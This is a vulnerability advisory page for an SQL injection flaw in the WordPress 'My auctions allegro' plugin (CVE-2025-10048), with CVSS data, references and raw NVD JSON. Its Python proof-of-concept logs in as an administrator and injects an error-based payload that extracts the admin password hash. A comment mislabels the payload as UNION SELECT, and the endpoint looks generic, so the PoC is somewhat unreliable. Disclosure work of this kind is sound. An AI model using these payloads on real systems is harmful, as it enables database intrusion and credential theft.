Security Vulnerability Report
中文
CVE-2025-10048 CVSS 4.9 MEDIUM

CVE-2025-10048

Published: 2025-10-11 08:15:32
Last Modified: 2026-04-15 00:35:42

Description

The My auctions allegro plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter in all versions up to, and including, 3.6.31 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

My auctions allegro plugin for WordPress <= 3.6.31

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10048 SQL Injection PoC # Target: WordPress My auctions allegro plugin <= 3.6.31 # Vulnerable parameter: 'order' # Authentication required: Administrator-level access import requests # Target configuration TARGET_URL = "http://target-wordpress-site.com" ADMIN_USERNAME = "admin" ADMIN_PASSWORD = "admin_password" # Step 1: Login as administrator session = requests.Session() login_data = { 'log': ADMIN_USERNAME, 'pwd': ADMIN_PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f'{TARGET_URL}/wp-admin/', 'testcookie': '1' } session.post(f'{TARGET_URL}/wp-login.php', data=login_data) # Step 2: Exploit SQL injection via 'order' parameter # The vulnerable endpoint accepts the 'order' parameter without proper sanitization # Injecting UNION SELECT to extract sensitive data from wp_users table sql_payload = "id ASC,(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT user_pass FROM wp_users WHERE ID=1 LIMIT 0,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -" # Send the malicious request exploit_params = { 'action': 'list_auctions', 'order': sql_payload } response = session.get(f'{TARGET_URL}/wp-admin/admin.php', params=exploit_params) print("Response status:", response.status_code) print("Response body:", response.text[:2000]) # Alternative simpler payload (boolean-based blind SQL injection) # sql_payload = "id AND (SELECT IF(1=1,1,SLEEP(5)))" # response = session.get(f'{TARGET_URL}/wp-admin/admin.php', params={'order': sql_payload})

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10048", "sourceIdentifier": "[email protected]", "published": "2025-10-11T08:15:31.557", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The My auctions allegro plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter in all versions up to, and including, 3.6.31 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3375019/my-auctions-allegro-free-edition", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8d81c8d5-3862-4401-9226-9c7380f364a7?source=cve", "source": "[email protected]"}]}}